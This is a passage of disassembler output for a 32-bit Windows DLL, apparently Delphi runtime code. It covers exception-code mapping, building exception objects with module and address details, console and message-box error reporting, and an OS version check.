		jz	short loc_100067F6
		mov	edi, offset dword_100068A8

loc_100067F6:				; CODE XREF: CODE:100067D3j
					; CODE:100067E8j ...
		push	100h
		lea	eax, [ebp-312h]
		push	eax
		mov	eax, ds:off_100093EC
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_1000A664
		call	sub_10003C50
		push	eax
		call	sub_10004680	; LoadStringA
		lea	edx, [ebp-458h]
		mov	eax, [esi]
		call	sub_10002C30
		lea	eax, [ebp-458h]
		mov	[ebp-358h], eax
		mov	byte ptr [ebp-354h], 4
		lea	eax, [ebp-10Dh]
		mov	[ebp-350h], eax
		mov	byte ptr [ebp-34Ch], 6
		mov	eax, [ebp-8]
		mov	[ebp-348h], eax
		mov	byte ptr [ebp-344h], 5
		mov	[ebp-340h], ebx
		mov	byte ptr [ebp-33Ch], 6
		mov	[ebp-338h], edi
		mov	byte ptr [ebp-334h], 6
		lea	eax, [ebp-358h]
		push	eax
		push	4
		lea	ecx, [ebp-312h]
		mov	edx, [ebp+8]
		mov	eax, [ebp-4]
		call	sub_10005B60
		mov	eax, [ebp-4]
		call	sub_100056AC
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4
dword_100068A4	dd 0			; DATA XREF: CODE:100067BAo
					; CODE:100067BFo
dword_100068A8	dd 2Eh,	0FBBCC481h, 68FFFFh, 8D000004h,	0E848244Ch, 0FFFFFE64h
					; DATA XREF: CODE:100067F1o
; ---------------------------------------------------------------------------
		mov	eax, ds:off_100093A8
		cmp	byte ptr [eax],	0
		jz	short loc_10006928
		mov	eax, ds:off_10009304
		call	sub_100026D0
		call	sub_100025EC
		lea	eax, [esp+44h]
		push	eax
		lea	eax, [esp+48h]
		push	eax
		call	sub_10004670	; CharToOemA
		push	0
		lea	eax, [esp+4]
		push	eax
		lea	eax, [esp+4Ch]
		call	sub_100056AC
		push	eax
		lea	eax, [esp+50h]
		push	eax
		push	0FFFFFFF4h
		call	sub_100045D8	; GetStdHandle
		push	eax
		call	sub_10004658	; WriteFile
		push	0
		lea	eax, [esp+4]
		push	eax
		push	2
		push	offset dword_10006970
		push	0FFFFFFF4h
		call	sub_100045D8	; GetStdHandle
		push	eax
		call	sub_10004658	; WriteFile
		jmp	short loc_1000695E
; ---------------------------------------------------------------------------

loc_10006928:				; CODE XREF: CODE:100068C8j
		push	40h
		lea	eax, [esp+8]
		push	eax
		mov	eax, ds:off_100092E4
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_1000A664
		call	sub_10003C50
		push	eax
		call	sub_10004680	; LoadStringA
		push	2010h
		lea	eax, [esp+8]
		push	eax
		lea	eax, [esp+4Ch]
		push	eax
		push	0
		call	sub_10004688	; MessageBoxA

loc_1000695E:				; CODE XREF: CODE:10006926j
		add	esp, 444h
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_10006970	dd 0A0Dh		; DATA XREF: CODE:10006914o

; =============== S U B	R O U T	I N E =======================================



sub_10006974	proc near		; CODE XREF: sub_10006B2C+32p
					; sub_10006BAC+38p ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_10006983
		add	esp, 0FFFFFFF0h
		call	sub_10002DB4

loc_10006983:				; CODE XREF: sub_10006974+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	eax, [edi+4]
		mov	edx, esi
		call	sub_10003674
		mov	eax, edi
		test	bl, bl
		jz	short loc_100069A8
		call	sub_10002E0C
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_100069A8:				; CODE XREF: sub_10006974+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10006974	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100069B0	proc near		; CODE XREF: sub_10006C00+77p
					; sub_10006D88+127p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_100069C4
		add	esp, 0FFFFFFF0h
		call	sub_10002DB4

loc_100069C4:				; CODE XREF: sub_100069B0+Aj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_10006A0A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, esi
		call	sub_10005BA0
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_10003674
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10006A11

loc_10006A01:				; CODE XREF: sub_100069B0+5Fj
		lea	eax, [ebp+var_4]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_10006A0A:				; DATA XREF: sub_100069B0+1Do
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10006A01
; ---------------------------------------------------------------------------

loc_10006A11:				; CODE XREF: sub_100069B0+59j
					; DATA XREF: sub_100069B0+4Co
		mov	eax, edi
		test	bl, bl
		jz	short loc_10006A26
		call	sub_10002E0C
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_10006A26:				; CODE XREF: sub_100069B0+65j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_100069B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_10006A30	proc near		; CODE XREF: sub_10006CD8+Dp
					; sub_10007030+Dp ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_10006A3F
		add	esp, 0FFFFFFF0h
		call	sub_10002DB4

loc_10006A3F:				; CODE XREF: sub_10006A30+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	edx, [edi+4]
		mov	eax, esi
		call	sub_100041C0
		mov	eax, edi
		test	bl, bl
		jz	short loc_10006A64
		call	sub_10002E0C
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_10006A64:				; CODE XREF: sub_10006A30+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10006A30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006A6C	proc near		; CODE XREF: sub_10005444+14p
					; sub_10006B2C+51p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_10006A82
		add	esp, 0FFFFFFF0h
		call	sub_10002DB4

loc_10006A82:				; CODE XREF: sub_10006A6C+Cj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_10006AD8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		lea	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_100041C0
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_10005BA0
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_10003674
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10006ADF

loc_10006ACA:				; CODE XREF: sub_10006A6C+71j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_10003644
		retn
; ---------------------------------------------------------------------------

loc_10006AD8:				; DATA XREF: sub_10006A6C+1Fo
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10006ACA
; ---------------------------------------------------------------------------

loc_10006ADF:				; CODE XREF: sub_10006A6C+6Bj
					; DATA XREF: sub_10006A6C+59o
		mov	eax, edi
		test	bl, bl
		jz	short loc_10006AF4
		call	sub_10002E0C
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_10006AF4:				; CODE XREF: sub_10006A6C+77j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_10006A6C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10006B00	proc near		; DATA XREF: CODE:10004AFCo
					; CODE:10004B58o ...
		cmp	byte ptr [eax+0Ch], 0
		jz	short locret_10006B0B
		call	sub_10002C60

locret_10006B0B:			; CODE XREF: sub_10006B00+4j
		retn
sub_10006B00	endp

; ---------------------------------------------------------------------------
off_10006B0C	dd offset dword_10006B10 ; DATA	XREF: sub_10007C50+50r
dword_10006B10	dd 4554090Eh, 726F7272h, 8636552h, 1000000h ; DATA XREF: CODE:off_10006B0Co
		db 3 dup(0)
		dd offset off_10001000
		db 4
		dd 90000000h

; =============== S U B	R O U T	I N E =======================================



sub_10006B2C	proc near		; CODE XREF: sub_10006BAC:loc_10006BEDp

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		xor	ebx, ebx
		call	sub_1000261C
		mov	esi, eax
		jmp	short loc_10006B3D
; ---------------------------------------------------------------------------

loc_10006B3C:				; CODE XREF: sub_10006B2C+1Dj
		inc	ebx

loc_10006B3D:				; CODE XREF: sub_10006B2C+Ej
		cmp	ebx, 6
		jg	short loc_10006B4B
		cmp	esi, ds:dword_100091A4[ebx*8]
		jnz	short loc_10006B3C

loc_10006B4B:				; CODE XREF: sub_10006B2C+14j
		cmp	ebx, 6
		jg	short loc_10006B65
		mov	ecx, ds:dword_100091A8[ebx*8]
		mov	dl, 1
		mov	eax, off_10004B70
		call	sub_10006974
		jmp	short loc_10006B82
; ---------------------------------------------------------------------------

loc_10006B65:				; CODE XREF: sub_10006B2C+22j
		mov	[esp+10h+var_10], esi
		mov	[esp+10h+var_C], 0
		push	esp
		push	0
		mov	ecx, ds:off_100092E0
		mov	dl, 1
		mov	eax, off_10004B70
		call	sub_10006A6C

loc_10006B82:				; CODE XREF: sub_10006B2C+37j
		mov	[eax+0Ch], esi
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_10006B2C	endp

; ---------------------------------------------------------------------------
		align 4
off_10006B8C	dd offset dword_10006B90 ; DATA	XREF: sub_10007C50+3Br
dword_10006B90	dd 45540A0Eh, 70656378h, 63655274h, 8, 1 ; DATA	XREF: CODE:off_10006B8Co
		dd offset off_10001000
		dd 4

; =============== S U B	R O U T	I N E =======================================



sub_10006BAC	proc near		; DATA XREF: sub_10007030+33o
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		dec	dl
		jz	short loc_10006BC1
		dec	dl
		jz	short loc_10006BC9
		dec	edx
		sub	dl, 16h
		jb	short loc_10006BD1
		jmp	short loc_10006BED
; ---------------------------------------------------------------------------

loc_10006BC1:				; CODE XREF: sub_10006BAC+7j
		mov	edx, ds:dword_1000A794
		jmp	short loc_10006BF4
; ---------------------------------------------------------------------------

loc_10006BC9:				; CODE XREF: sub_10006BAC+Bj
		mov	edx, ds:dword_1000A798
		jmp	short loc_10006BF4
; ---------------------------------------------------------------------------

loc_10006BD1:				; CODE XREF: sub_10006BAC+11j
		and	eax, 0FFh
		lea	eax, dword_100091C4[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_10006974
		mov	edx, eax
		jmp	short loc_10006BF4
; ---------------------------------------------------------------------------

loc_10006BED:				; CODE XREF: sub_10006BAC+13j
		call	sub_10006B2C
		mov	edx, eax

loc_10006BF4:				; CODE XREF: sub_10006BAC+1Bj
					; sub_10006BAC+23j ...
		push	ebx
		mov	eax, edx
		jmp	sub_10003080
sub_10006BAC	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006C00	proc near		; CODE XREF: sub_10006CBC+3p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_4], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_10006C9C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jz	short loc_10006C35
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_100036B8
		jmp	short loc_10006C42
; ---------------------------------------------------------------------------

loc_10006C35:				; CODE XREF: sub_10006C00+27j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_1000939C
		call	sub_100041C0

loc_10006C42:				; CODE XREF: sub_10006C00+33j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0Bh
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_1C]
		push	eax
		push	2
		lea	edx, [ebp+var_20]
		mov	eax, ds:off_100093BC
		call	sub_100041C0
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, off_10005278
		call	sub_100069B0
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10006CA3

loc_10006C8B:				; CODE XREF: sub_10006C00+A1j
		lea	eax, [ebp+var_20]
		call	sub_10003620
		lea	eax, [ebp+var_4]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_10006C9C:				; DATA XREF: sub_10006C00+1Ao
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10006C8B
; ---------------------------------------------------------------------------

loc_10006CA3:				; CODE XREF: sub_10006C00+9Bj
					; DATA XREF: sub_10006C00+86o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10006C00	endp


; =============== S U B	R O U T	I N E =======================================



sub_10006CAC	proc near		; CODE XREF: sub_10006CBC+11p
		mov	esp, ecx
		mov	[esp+0], edx
		mov	ebp, [ebp+0]
		jmp	sub_10003080
sub_10006CAC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006CBC	proc near		; DATA XREF: sub_10007030+67o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_10006C00
		lea	ecx, [ebp+arg_0]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		call	sub_10006CAC
		pop	ebp
		retn	4
sub_10006CBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10006CD8	proc near		; DATA XREF: sub_10007030+74o
					; BSS:off_1000A028o
		mov	ecx, ds:off_100092F8
		mov	dl, 1
		mov	eax, off_100052D8
		call	sub_10006A30
		call	sub_10003080
		retn
sub_10006CD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_10006CF0	proc near		; CODE XREF: sub_10006D70+5p
					; sub_10006F54+20p
		mov	eax, [eax]
		cmp	eax, 0C0000092h
		jg	short loc_10006D25
		jz	short loc_10006D54
		cmp	eax, 0C000008Eh
		jg	short loc_10006D17
		jz	short loc_10006D57
		sub	eax, 0C0000005h
		jz	short loc_10006D60
		sub	eax, 87h
		jz	short loc_10006D4E
		dec	eax
		jz	short loc_10006D5D
		jmp	short loc_10006D6C
; ---------------------------------------------------------------------------

loc_10006D17:				; CODE XREF: sub_10006CF0+10j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_10006D54
		jz	short loc_10006D5A
		jmp	short loc_10006D6C
; ---------------------------------------------------------------------------

loc_10006D25:				; CODE XREF: sub_10006CF0+7j
		cmp	eax, 0C0000096h
		jg	short loc_10006D3D
		jz	short loc_10006D63
		sub	eax, 0C0000093h
		jz	short loc_10006D5D
		dec	eax
		jz	short loc_10006D4B
		dec	eax
		jz	short loc_10006D51
		jmp	short loc_10006D6C
; ---------------------------------------------------------------------------

loc_10006D3D:				; CODE XREF: sub_10006CF0+3Aj
		sub	eax, 0C00000FDh
		jz	short loc_10006D69
		sub	eax, 3Dh
		jz	short loc_10006D66
		jmp	short loc_10006D6C
; ---------------------------------------------------------------------------

loc_10006D4B:				; CODE XREF: sub_10006CF0+46j
		mov	al, 3
		retn
; ---------------------------------------------------------------------------

loc_10006D4E:				; CODE XREF: sub_10006CF0+20j
		mov	al, 4
		retn
; ---------------------------------------------------------------------------

loc_10006D51:				; CODE XREF: sub_10006CF0+49j
		mov	al, 5
		retn
; ---------------------------------------------------------------------------

loc_10006D54:				; CODE XREF: sub_10006CF0+9j
					; sub_10006CF0+2Fj
		mov	al, 6
		retn
; ---------------------------------------------------------------------------

loc_10006D57:				; CODE XREF: sub_10006CF0+12j
		mov	al, 7
		retn
; ---------------------------------------------------------------------------

loc_10006D5A:				; CODE XREF: sub_10006CF0+31j
		mov	al, 8
		retn
; ---------------------------------------------------------------------------

loc_10006D5D:				; CODE XREF: sub_10006CF0+23j
					; sub_10006CF0+43j
		mov	al, 9
		retn
; ---------------------------------------------------------------------------

loc_10006D60:				; CODE XREF: sub_10006CF0+19j
		mov	al, 0Bh
		retn
; ---------------------------------------------------------------------------

loc_10006D63:				; CODE XREF: sub_10006CF0+3Cj
		mov	al, 0Ch
		retn
; ---------------------------------------------------------------------------

loc_10006D66:				; CODE XREF: sub_10006CF0+57j
		mov	al, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_10006D69:				; CODE XREF: sub_10006CF0+52j
		mov	al, 0Eh
		retn
; ---------------------------------------------------------------------------

loc_10006D6C:				; CODE XREF: sub_10006CF0+25j
					; sub_10006CF0+33j ...
		mov	al, 16h
		retn
sub_10006CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10006D70	proc near		; DATA XREF: sub_10007030+56o
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_10006CF0
		and	eax, 0FFh
		mov	eax, ds:dword_100091C4[eax*8]
		pop	ebx
		retn
sub_10006D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006D88	proc near		; CODE XREF: sub_10006F54+54p

var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= byte ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_125		= byte ptr -125h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE90h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_170], eax
		mov	[ebp+var_14C], eax
		mov	[ebp+var_154], eax
		mov	[ebp+var_150], eax
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_10006F43
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax-4]
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_10006DD9
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_100093F8
		call	sub_100041C0
		jmp	short loc_10006DE6
; ---------------------------------------------------------------------------

loc_10006DD9:				; CODE XREF: sub_10006D88+40j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_1000938C
		call	sub_100041C0

loc_10006DE6:				; CODE XREF: sub_10006D88+4Fj
		mov	esi, [ebx+18h]
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	sub_10004650	; VirtualQuery
		cmp	[ebp+var_10], 1000h
		jnz	loc_10006EB8
		push	105h
		lea	eax, [ebp+var_125]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_100045C0	; GetModuleFileNameA
		test	eax, eax
		jz	loc_10006EB8
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_148], eax
		mov	[ebp+var_144], 5
		lea	eax, [ebp+var_150]
		lea	edx, [ebp+var_125]
		mov	ecx, 105h
		call	sub_10003868
		mov	eax, [ebp+var_150]
		lea	edx, [ebp+var_14C]
		call	sub_10005600
		mov	eax, [ebp+var_14C]
		mov	[ebp+var_140], eax
		mov	[ebp+var_13C], 0Bh
		mov	eax, [ebp+var_4]
		mov	[ebp+var_138], eax
		mov	[ebp+var_134], 0Bh
		mov	[ebp+var_130], esi
		mov	[ebp+var_12C], 5
		lea	eax, [ebp+var_148]
		push	eax
		push	3
		lea	edx, [ebp+var_154]
		mov	eax, ds:off_100093B4
		call	sub_100041C0
		mov	ecx, [ebp+var_154]
		mov	dl, 1
		mov	eax, off_100050B0
		call	sub_100069B0
		mov	ebx, eax
		jmp	short loc_10006F12
; ---------------------------------------------------------------------------

loc_10006EB8:				; CODE XREF: sub_10006D88+77j
					; sub_10006D88+94j
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_16C], eax
		mov	[ebp+var_168], 5
		mov	eax, [ebp+var_4]
		mov	[ebp+var_164], eax
		mov	[ebp+var_160], 0Bh
		mov	[ebp+var_15C], esi
		mov	[ebp+var_158], 5
		lea	eax, [ebp+var_16C]
		push	eax
		push	2
		lea	edx, [ebp+var_170]
		mov	eax, ds:off_10009390
		call	sub_100041C0
		mov	ecx, [ebp+var_170]
		mov	dl, 1
		mov	eax, off_100050B0
		call	sub_100069B0
		mov	ebx, eax

loc_10006F12:				; CODE XREF: sub_10006D88+12Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10006F4A

loc_10006F1F:				; CODE XREF: sub_10006D88+1C0j
		lea	eax, [ebp+var_170]
		call	sub_10003620
		lea	eax, [ebp+var_154]
		mov	edx, 3
		call	sub_10003644
		lea	eax, [ebp+var_4]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_10006F43:				; DATA XREF: sub_10006D88+2Bo
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10006F1F
; ---------------------------------------------------------------------------

loc_10006F4A:				; CODE XREF: sub_10006D88+1BAj
					; DATA XREF: sub_10006D88+192o
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10006D88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006F54	proc near		; DATA XREF: sub_10007030+61o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_1000700F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_10006CF0
		and	eax, 0FFh
		mov	edx, eax
		add	edx, 0FFFFFFFDh
		sub	edx, 8
		jb	short loc_10006F90
		jz	short loc_10006FA7
		dec	edx
		sub	edx, 0Ah
		jnb	short loc_10006FB2

loc_10006F90:				; CODE XREF: sub_10006F54+32j
		lea	eax, dword_100091C4[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_10006974
		mov	ebx, eax
		jmp	short loc_10006FE2
; ---------------------------------------------------------------------------

loc_10006FA7:				; CODE XREF: sub_10006F54+34j
		push	ebp
		call	sub_10006D88
		pop	ecx
		mov	ebx, eax
		jmp	short loc_10006FE2
; ---------------------------------------------------------------------------

loc_10006FB2:				; CODE XREF: sub_10006F54+3Aj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		lea	edx, [ebp+var_10]
		mov	eax, ds:off_100092B8
		call	sub_100041C0
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, off_10004C20
		call	sub_100069B0
		mov	ebx, eax

loc_10006FE2:				; CODE XREF: sub_10006F54+51j
					; sub_10006F54+5Cj
		mov	eax, ebx
		mov	edx, off_10004BC8
		call	sub_10002D10
		test	al, al
		jz	short loc_10006FF9
		mov	eax, [ebp+var_4]
		mov	[ebx+0Ch], eax

loc_10006FF9:				; CODE XREF: sub_10006F54+9Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007016

loc_10007006:				; CODE XREF: sub_10006F54+C0j
		lea	eax, [ebp+var_10]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_1000700F:				; DATA XREF: sub_10006F54+12o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10007006
; ---------------------------------------------------------------------------

loc_10007016:				; CODE XREF: sub_10006F54+BAj
					; DATA XREF: sub_10006F54+ADo
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10006F54	endp

; ---------------------------------------------------------------------------
		align 10h
dword_10007020	dd 0FFF887E8h, 1B8FFh, 0D9E80000h, 0C3FFFFC5h ;	DATA XREF: sub_10007030+3Eo

; =============== S U B	R O U T	I N E =======================================



sub_10007030	proc near		; CODE XREF: sub_10007DD0:loc_10007E16p
		mov	ecx, ds:off_100092E8
		mov	dl, 1
		mov	eax, off_10004B14
		call	sub_10006A30
		mov	ds:dword_1000A794, eax
		mov	ecx, ds:off_10009374
		mov	dl, 1
		mov	eax, off_10004F9C
		call	sub_10006A30
		mov	ds:dword_1000A798, eax
		mov	eax, ds:off_100092C0
		mov	dword ptr [eax], offset	sub_10006BAC
		mov	eax, ds:off_10009314
		mov	dword ptr [eax], offset	dword_10007020
		mov	eax, ds:off_100092DC
		mov	edx, off_10004A50
		mov	[eax], edx
		mov	eax, ds:off_1000930C
		mov	dword ptr [eax], offset	sub_10006D70
		mov	eax, ds:off_10009318
		mov	dword ptr [eax], offset	sub_10006F54
		mov	eax, offset sub_10006CBC
		mov	edx, ds:off_10009384
		mov	[edx], eax
		mov	eax, offset sub_10006CD8
		mov	edx, ds:off_100092B4
		mov	[edx], eax
		retn
sub_10007030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100070B4	proc near		; CODE XREF: sub_10007C50+2Cp
		cmp	ds:dword_1000A794, 0
		jz	short loc_100070D7
		mov	eax, ds:dword_1000A794
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_1000A794
		mov	edx, [eax]
		call	dword ptr [edx-8]
		xor	eax, eax
		mov	ds:dword_1000A794, eax

loc_100070D7:				; CODE XREF: sub_100070B4+7j
		cmp	ds:dword_1000A798, 0
		jz	short loc_100070FA
		mov	eax, ds:dword_1000A798
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_1000A798
		call	sub_10002C8C
		xor	eax, eax
		mov	ds:dword_1000A798, eax

loc_100070FA:				; CODE XREF: sub_100070B4+2Aj
		mov	eax, ds:off_100092C0
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_10009314
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_100092DC
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_1000930C
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_10009318
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_10009384
		xor	edx, edx
		mov	[eax], edx
		retn
sub_100070B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10007134	proc near		; CODE XREF: sub_10007DD0+4Bp

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h

		add	esp, 0FFFFFF6Ch
		mov	[esp+94h+var_94], 94h
		push	esp
		call	sub_10004600	; GetVersionExA
		test	eax, eax
		jz	short loc_1000719B
		mov	eax, [esp+94h+var_84]
		mov	ds:dword_100090B0, eax
		mov	eax, [esp+94h+var_90]
		mov	ds:dword_100090B4, eax
		mov	eax, [esp+94h+var_8C]
		mov	ds:dword_100090B8, eax
		cmp	ds:dword_100090B0, 1
		jnz	short loc_1000717F
		mov	eax, [esp+94h+var_88]
		and	eax, 0FFFFh
		mov	ds:dword_100090BC, eax
		jmp	short loc_10007188
; ---------------------------------------------------------------------------

loc_1000717F:				; CODE XREF: sub_10007134+39j
		mov	eax, [esp+94h+var_88]
		mov	ds:dword_100090BC, eax

loc_10007188:				; CODE XREF: sub_10007134+49j
		mov	eax, offset dword_100090C0
		lea	edx, [esp+94h+var_80]
		mov	ecx, 80h
		call	sub_10003868

loc_1000719B:				; CODE XREF: sub_10007134+15j
		add	esp, 94h
		retn
